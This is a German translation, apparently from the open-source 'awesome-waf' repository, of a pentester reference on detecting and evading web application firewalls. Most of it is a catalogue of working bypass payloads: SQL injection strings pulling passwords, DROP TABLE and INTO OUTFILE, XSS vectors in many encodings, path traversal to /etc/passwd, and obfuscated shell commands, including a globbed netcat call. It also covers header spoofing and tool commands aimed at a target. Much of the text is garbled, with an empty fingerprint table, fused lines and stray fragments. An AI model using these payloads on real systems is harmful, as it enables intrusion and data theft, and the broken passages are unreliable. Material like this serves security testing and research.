
Alles über Web Application Firewalls (WAFs) aus Sicherheitssicht! 🔥
Alles über Web Application Firewalls (WAFs) aus Sicherheitsperspektive. 🔥
Vorwort: Dies war ursprünglich meine eigene Sammlung zu WAFs. Ich stelle es als Open Source zur Verfügung, in der Hoffnung, dass es für Pentester und Forscher da draußen nützlich sein wird. Wie es so schön heißt: „Die Gemeinschaft lernt voneinander.“

Eine präzise Definition: Eine Firewall ist ein Sicherheitsrichtlinien-Erzwingungspunkt, der zwischen einer Webanwendung und dem Client-Endpunkt positioniert ist. Diese Funktionalität kann in Software oder Hardware implementiert sein, auf einem Appliance-Gerät oder auf einem typischen Server mit einem gängigen Betriebssystem laufen. Es kann ein eigenständiges Gerät oder in andere Netzwerkkomponenten integriert sein. (Quelle: PCI DSS IS 6.6)
Eine Web Application Firewall sitzt zwischen einem Benutzer und einer Webanwendung und hat die Aufgabe, jegliche schädliche Aktivität daran zu hindern, die Webanwendung zu erreichen. Eine WAF filtert entweder den schädlichen Teil der Anfrage heraus oder blockiert sie einfach.
Du kannst gerne beitragen.
<script>*</script>-Eingaben verhindert grundlegende Cross-Site-Scripting-Angriffe.80, 443, 8000, 8080 und 8888. Es ist jedoch wichtig zu beachten, dass eine WAF leicht auf jedem Port bereitgestellt werden kann, der einen HTTP-Dienst ausführt. Es ist gut, zuerst die HTTP-Dienstports zu enumerieren und dann nach WAFs zu suchen.Server-Header zu erkennen (z.B. Approach, WTS WAF).Um WAFs zu identifizieren, müssen wir sie (dummy) provozieren.
" or 1 = 1 --.<script>alert()</script> in Suchleisten, Kontaktformulare und andere Eingabefelder.../../../etc/passwd an einen zufälligen Parameter am Ende der URL an.' OR SLEEP(5) OR ' an das Ende von URLs an jedem beliebigen Parameter an.HTTP/0.9 (HTTP/0.9 unterstützt keine POST-Anfragen).Server-Header bei verschiedenen Arten von Interaktionen.Tipp: Diese Methode kann leicht mit Werkzeugen wie HPing3 oder Scapy erreicht werden.
Tipp: Weitere Details findest du in einem .
Möchtest du WAFs identifizieren? Lass uns sehen wie.
HINWEIS: Dieser Abschnitt enthält manuelle WAF-Erkennungstechniken. Du möchtest vielleicht zum nächsten Abschnitt wechseln.
## Evasion Techniques Schauen wir uns einige Methoden zur Umgehung und Umgehung von WAFs an.
| WAF | Fingerabdrücke |
| 360 |
|
| aeSecure |
|
| Airlock |
|
| AlertLogic |
|
| Aliyundun |
|
| Anquanbao |
|
| Anyu |
|
| Approach |
|
| Armor Defense |
|
| ArvanCloud |
|
| ASPA |
|
| ASP.NET Generic |
|
| Astra |
|
| AWS ELB |
|
| Baidu Yunjiasu |
|
| Barikode |
|
| Barracuda |
|
| Bekchy |
|
| BinarySec |
|
| BitNinja |
|
| BIG-IP ASM |
|
| BlockDos |
|
| Bluedon IST |
|
| BulletProof Security Pro |
|
| CDN NS Application Gateway |
|
| Cerber (WordPress) |
|
| Chaitin Safeline |
|
| ChinaCache |
|
| Cisco ACE XML Gateway |
|
| Cloudbric |
|
| Cloudflare |
|
| CloudfloorDNS |
|
| Cloudfront |
|
| Comodo cWatch |
|
| CrawlProtect |
|
| Deny-All |
|
| Distil Web Protection |
|
| DoSArrest Internet Security |
|
| DotDefender |
|
| DynamicWeb Injection Check |
|
| e3Learning Security |
|
| EdgeCast (Verizon) |
|
| Eisoo Cloud |
|
| Expression Engine |
|
| F5 ASM |
|
| FortiWeb |
|
| GoDaddy |
|
| GreyWizard |
|
| Huawei Cloud |
|
| HyperGuard |
|
| IBM DataPower |
|
| Imperva Incapsula |
|
| Imunify360 |
|
| IndusGuard |
|
| Instart DX |
|
| ISA Server |
|
| Janusec Application Gateway |
|
| Jiasule |
|
| KeyCDN |
|
| KnownSec |
|
| KONA Site Defender (Akamai) |
|
| LiteSpeed |
|
| Malcare |
|
| MissionControl Application Shield |
|
| ModSecurity |
|
| ModSecurity CRS |
|
| NAXSI |
|
| Nemesida |
|
| Netcontinuum |
|
| NetScaler AppFirewall |
|
| NevisProxy |
|
| NewDefend |
|
| Nexusguard |
|
| NinjaFirewall |
|
| NSFocus |
|
| NullDDoS |
|
| onMessage Shield |
|
| OpenResty Lua WAF |
|
| Palo Alto |
|
| PentaWAF |
|
| PerimeterX |
|
| pkSecurityModule IDS |
|
| Positive Technologies Application Firewall |
|
| PowerCDN |
|
| Profense |
|
| Proventia (IBM) |
|
| Puhui |
|
| Qiniu CDN |
|
| Radware Appwall |
|
| Reblaze |
|
| Request Validation Mode |
|
| RSFirewall |
|
| Sabre |
|
| Safe3 |
|
| SafeDog |
|
| SecKing |
|
| SecuPress |
|
| Secure Entry |
|
| SecureIIS |
|
| SecureSphere |
|
| SEnginx |
|
| ServerDefender VP |
|
| Shadow Daemon |
|
| ShieldSecurity |
|
| SiteGround |
|
| SiteGuard (JP Secure) |
|
| SiteLock TrueShield |
|
| SonicWall |
|
| Sophos UTM |
|
| SquareSpace |
|
| SquidProxy IDS |
|
| StackPath |
|
| Stingray |
|
| Sucuri CloudProxy |
|
| Synology Cloud |
|
| Tencent Cloud |
|
| Teros |
|
| TrafficShield |
|
| TransIP |
|
| UCloud UEWaf |
|
| URLMaster SecurityCheck |
|
| URLScan |
|
| USP Secure Entry |
|
| Varnish (OWASP) |
|
| Varnish CacheWall |
|
| Viettel |
|
| VirusDie |
|
| WallArm |
|
| WatchGuard IPS |
|
| WebARX Security |
|
| WebKnight |
|
| WebLand |
|
| WebRay |
|
| WebSEAL |
|
| WebTotem |
|
| West263CDN |
|
| Wordfence |
|
| WTS-WAF |
|
| XLabs Security WAF |
|
| Xuanwudun WAF |
|
| Yunaq Chuangyu |
|
| Yundun |
|
| Yunsuo |
|
| YxLink |
|
| ZenEdge |
|
| ZScaler |
|
Ausführen einer Reihe von Payloads gegen die URL/den Endpunkt. Einige nützliche Fuzzing-Wortlisten:
Fall: SQL Injection
Gefilterte Schlüsselwörter: and, or, union
Wahrscheinlicher Regex: preg_match('/(and|or|union)/i', $id)
union select user, password from users1 || (select user from users where user_id = 1) = 'admin'Gefilterte Schlüsselwörter: and, or, union, where
1 || (select user from users where user_id = 1) = 'admin'1 || (select user from users limit 1) = 'admin'Gefilterte Schlüsselwörter: and, or, union, where, limit
1 || (select user from users limit 1) = 'admin'1 || (select user from users group by user_id having user_id = 1) = 'admin'Gefilterte Schlüsselwörter: and, or, union, where, limit, group by
1 || (select user from users group by user_id having user_id = 1) = 'admin'1 || (select substr(group_concat(user_id),1,1) user from users ) = 1Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || 1 = 1 into outfile 'result.txt'1 || substr(user,1,1) = 'a'Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, '
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || user_id is not null1 || substr(user,1,1) = 0x611 || substr(user,1,1) = unhex(61)Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex
1 || substr(user,1,1) = unhex(61)1 || substr(user,1,1) = lower(conv(11,10,36))Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex, substr
1 || substr(user,1,1) = lower(conv(11,10,36))1 || lpad(user,7,1)Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex, substr, Leerzeichen
1 || lpad(user,7,1)1%0b||%0blpad(user,7,1)1. Case Toggling
Standard: <script>alert()</script>
Umgangen: <ScRipT>alert()</sCRipT>
Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Umgangen: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL Encoding
Blockiert: <svG/x=">"/oNloaD=confirm()//
Umgangen: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Blockiert: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Umgangen: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Unicode Normalization
Standard: <marquee onstart=prompt()>
Verschleiert: <marquee onstart=\u0070r\u06f\u006dpt()>
Blockiert: /?redir=http://google.com
Umgangen: /?redir=http://google。com (Unicode-Alternative)
Blockiert: <marquee loop=1 onfinish=alert()>x
Umgangen: <marquee loop=1 onfinish=alert︵1)>x (Unicode-Alternative)
Standard: ../../etc/passwd
Verschleiert: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. HTML Representation
Standard: ">
Kodiert: "><img src=x onerror=confirm()> (Allgemeine Form)
Kodiert: "><img src=x onerror=confirm()> (Numerische Referenz)
5. Mixed Encoding
Obfuscated:``` XSS
__6. Verwendung von Kommentaren__
- Kommentare verschleiern Standard-Payload-Vektoren.
- Verschiedene Payloads haben unterschiedliche Möglichkeiten der Verschleierung.
__Blocked__: `<script>alert()</script>`
__Bypassed__: `<!--><script>alert/**/()/**/</script>`
__Blocked__: `/?id=1+union+select+1,2,3--`
__Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
__7. Doppelte Kodierung__
- Oft kodieren WAF-Filter Zeichen, um Angriffe zu verhindern.
- Allerdings können schlecht entwickelte Filter (ohne Rekursionsfilter) mit doppelter Kodierung umgangen werden.
__Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
__Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`
__Standard__: `<script>alert()</script>`
__Obfuscated__: `%253Cscript%253Ealert()%253C%252Fscript%253E`
__8. Wildcard-Verschleierung__
- Globbing-Muster werden von verschiedenen Befehlszeilenprogrammen verwendet, um mit mehreren Dateien zu arbeiten.
- Wir können sie anpassen, um Systembefehle auszuführen.
- Spezifisch für Remote-Code-Ausführungs-Schwachstellen auf Linux-Systemen.
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: `/???/??t /???/??ss??`
Used chars: `/ ? t s`
__Standard__: `/bin/nc 127.0.0.1 1337`
__Obfuscated__: `/???/n? 2130706433 1337`
Used chars: `/ ? n [0-9]`
__9. Dynamische Payload-Generierung__
- Verschiedene Programmiersprachen haben unterschiedliche Syntaxen und Muster für die Verkettung.
- Dies ermöglicht es uns, effektiv Payloads zu generieren, die viele Filter und Regeln umgehen können.
__Standard__: `<script>alert()</script>`
__Obfuscated__: `<script>eval('al'+'er'+'t()')</script>`
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash erlaubt die Pfadverkettung zur Ausführung.
__Standard__: ``
__Verschleiert__:```
13. Token Breakers
Angriffe auf Tokenizer versuchen, die Logik der Aufteilung einer Anfrage in Token mit Hilfe von Token-Breakern zu durchbrechen.
Token-Breaker sind Symbole, die es ermöglichen, die Übereinstimmung zwischen einem Element einer Zeichenkette und einem bestimmten Token zu beeinflussen und so die Suche nach Signaturen zu umgehen.
Allerdings muss die Anfrage bei Verwendung von Token-Breakern weiterhin gültig bleiben.
Fall: Unbekanntes Token für den Tokenizer
?id=‘-sqlite_version() UNION SELECT password FROM users --Fall: Unbekannter Kontext für den Parser (Beachten Sie die nicht kontextualisierte Klammer)
?id=123);DROP TABLE users --?id=1337) INTO OUTFILE ‘xxx’ --TIPP: Weitere Payloads können über dieses Spickzettel erstellt werden.
14. Verschleierung in anderen Formaten
Fall: IIS
Ursprüngliche Anfrage:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41
id2='union all select * from users--
Verschleierte Anfrage + URL-Kodierung:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
Die folgende Tabelle zeigt die Unterstützung verschiedener Zeichenkodierungen auf den getesteten Systemen (wenn Nachrichten mit diesen Kodierungen verschleiert werden konnten):
TIPP: Sie können dieses kleine Python-Skript verwenden, um Ihre Nutzlasten und Parameter in die gewünschten Kodierungen zu konvertieren.
| Ziel | Kodierungen | Anmerkungen |
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
|
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
|
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 |
Nachfolgend ein Vergleich verschiedener Server und ihrer relativen Interpretationen:
| Umgebung | Parameterinterpretation | Beispiel |
| ASP/IIS | Verkettung durch Komma | par1=val1,val2 |
| JSP, Servlet/Apache Tomcat | Erster Parameter wird verwendet | par1=val1 |
| ASP.NET/IIS | Verkettung durch Komma | par1=val1,val2 |
| PHP/Zeus | Letzter Parameter wird verwendet | par1=val2 |
| PHP/Apache | Letzter Parameter wird verwendet | par1=val2 |
| JSP, Servlet/Jetty | Erster Parameter wird verwendet | par1=val1 |
| IBM Lotus Domino | Erster Parameter wird verwendet | par1=val1 |
| IBM HTTP Server | Letzter Parameter wird verwendet | par1=val2 |
| mod_perl, libapeq2/Apache | Erster Parameter wird verwendet | par1=val1 |
| Oracle Application Server 10G | Erster Parameter wird verwendet | par1=val1 |
| Perl CGI/Apache | Erster Parameter wird verwendet | par1=val1 |
| Python/Zope | Erster Parameter wird verwendet | par1=val1 |
| IceWarp | Ein Array wird zurückgegeben | ['val1','val2'] |
| AXIS 2400 | Letzter Parameter wird verwendet | par1=val2 |
| DBMan | Verkettung durch zwei Tilden | par1=val1~~val2 |
| mod-wsgi (Python)/Apache |
Beispiel-Nutzlast: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Beispiel-Query-URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIPP: Ein Beispiel aus der Praxis, wie Umgehungen mit dieser Methode erstellt werden können, finden Sie hier.
Beispiel-Anfrage:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Wenn die Seite geladen wird, wird sie auf die von uns eingestellte UTF-32-Kodierung kodiert, und da die Ausgabekodierung der Seite UTF-8 ist, wird sie wie folgt gerendert: "<script>alert (1) </ script> was XSS auslöst.
Endgültig URL-kodierte Nutzlast:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
#### Null Bytes:
- Die Null-Bytes werden üblicherweise als String-Terminator verwendet.
- Dies kann uns helfen, viele Webanwendungsfilter zu umgehen, falls sie die Null-Bytes nicht herausfiltern.
Payload-Beispiele:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Standard: <a href="javascript:alert()">
Verschleiert: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>
%, //, !, ? usw. verwenden.Beispiele:
<// style=x:expression\28write(1)\29> - Funktioniert bis IE7 (Quelle)<!--[if]><script>alert(1)</script --> - Funktioniert bis IE9 (Referenz)<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funktioniert im IE7 (Referenz)<%div%20style=xss:expression(prompt(1))> - Funktioniert bis IE70x00 bis 0xFF fuzzen und den Satz von Trennzeichen für jeden Browser ermitteln.Hier ist eine zusammengestellte Liste von Trennzeichen von @Masato Kinugawa:
0x09, 0x0B, 0x0C, 0x20, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x09, 0x20, 0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3BEin exotisches Payload-Beispiel:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
### Verwendung atypischer äquivalenter syntaktischer Strukturen
- Diese Methode zielt darauf ab, einen Weg der Ausnutzung zu finden, der von den WAF-Entwicklern nicht berücksichtigt wurde.
- Einige Anwendungsfälle können auf kritische Ebenen gebracht werden, bei denen die WAF die Payloads überhaupt nicht erkennen kann.
- Dieser Payload wird nach dem Durchlaufen der Firewall vom Server akzeptiert und ausgeführt.
Einige häufige Schlüsselwörter, die von WAF-Entwicklern übersehen werden:
- JavaScript-Funktionen:
- `window`
- `parent`
- `this`
- `self`
- Tag-Attribute:
- `onwheel`
- `ontoggle`
- `onfilterchange`
- `onbeforescriptexecute`
- `ondragstart`
- `onauxclick`
- `onpointerover`
- `srcdoc`
- SQL-Operatoren
- `lpad`
- `field`
- `bit_count`
Beispiel-Payloads:
- __Fall:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
Viele Alternativen zum ursprünglichen JavaScript können verwendet werden, nämlich:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> Das Problem bei der Verwendung der oben genannten syntaktischen Strukturen sind jedoch die langen Payloads, die möglicherweise von der WAF erkannt oder durch das CSP blockiert werden könnten. Aber man weiß nie, vielleicht umgehen sie auch das CSP (falls vorhanden). ;)
### Missbrauch von SSL/TLS-Verschlüsselungen:
- Oft akzeptieren Server Verbindungen von verschiedenen SSL/TLS-Verschlüsselungen und -Versionen.
- Die Verwendung einer Verschlüsselung, um eine Verbindung zu einem Server herzustellen, die von der WAF nicht unterstützt wird, kann unsere Arbeit erledigen.
#### Technik:
- Finden Sie die von der Firewall unterstützten Verschlüsselungen heraus (normalerweise wird dies in der Dokumentation des WAF-Anbieters erläutert).
- Finden Sie die vom Server unterstützten Verschlüsselungen heraus (Tools wie [SSLScan](https://github.com/rbsec/sslscan) helfen hier).
- Wenn eine bestimmte Verschlüsselung, die nicht von der WAF, aber vom Server unterstützt wird, gefunden wird, voilà!
- Das Initiieren einer neuen Verbindung zum Server mit dieser spezifischen Verschlüsselung sollte unsere Payload einschmuggeln.
> __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
CLI-Tools wie cURL können für PoCs sehr nützlich sein:``` curl --ciphers -G -d
### Missbrauch des WAF-Limits bei HTTP-Antworten
#### Methode
- Oftmals haben WAFs ein Limit, wie viel der HTTP-Anfrage sie verarbeiten sollen.
- Indem wir eine HTTP-Anfrage mit einer Größe __größer als das Limit__ senden, können wir WAFs vollständig umgehen.
#### Technik
- Verwenden Sie einen Versuch-und-Irrtum-Ansatz, um herauszufinden, wie viel der HTTP-Anfrage von der WAF inspiziert wird (normalerweise in Vielfachen von 4 kB).
- Sobald dies erledigt ist, hängen Sie Ihre Payload an die Anfrage an, nachdem Sie das Limit mit Müll gefüllt haben.
> Eine ähnliche Technik wurde verwendet, um die [Google Cloud Platform WAF zu umgehen](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).
### Missbrauch der DNS-Historie:
- Oft liefern alte historische DNS-Einträge Informationen über den Standort der Seite hinter der WAF.
- Das Ziel ist es, den Standort der Seite zu ermitteln, damit wir unsere Anfragen direkt an die Seite und nicht über die WAF leiten können.
> __TIPP:__ Einige Online-Dienste wie [IP History](http://www.iphistory.ch/en/) und [DNS Trails](https://securitytrails.com/dns-trails) helfen während des Recon-Prozesses weiter.
__Tool__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
*-sync-request-Schlüsselwörter oder ein gemeinsamer Token-Wert als Geheimnis verwendet.Bei einer Anfrage an den Server können Sie diese nun als Parameter anhängen:``` http://host.com/?randomparameter=&=True
> Ein praktisches Beispiel, wie dies funktioniert, finden Sie in [diesem Blog](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/).
### Request Header Spoofing:
#### Methode:
- Das Ziel ist es, die WAF/den Server glauben zu lassen, dass die Anfrage aus dem internen Netzwerk stammt.
- Das Hinzufügen einiger gefälschter Header, die das interne Netzwerk repräsentieren, erledigt den Trick.
#### Technik:
- Mit jeder Anfrage wird eine Reihe von Headern gleichzeitig hinzugefügt, um so die Herkunft zu fälschen.
- Der vorgelagerte Proxy/WAF interpretiert die Anfrage fälschlicherweise als aus ihrem internen Netzwerk stammend und lässt unsere schaurige Payload durch.
Einige gängige verwendete Header:```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
Bevor Sie beginnen, sollten Sie Ihre Fähigkeiten mit dem Google-Dorks-Spickzettel verbessern.
Normale Suche:
+<wafname> waf bypass
Suche nach spezifischen Versions-Exploits:
"<wafname> <version>" (bypass|exploit)
Für spezifische Typen von Umgehungs-Exploits:
"<wafname>" +<bypass type> (bypass|exploit)
Auf Exploit DB:
site:exploit-db.com +<wafname> bypass
Auf 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit)
Auf Twitter:
site:twitter.com +<wafname> bypass
Auf Pastebin
---
[Read more](https://github.com/0xinfection/awesome-waf)
|
| Ein Array wird zurückgegeben |
| ARRAY(0x8b9058c) |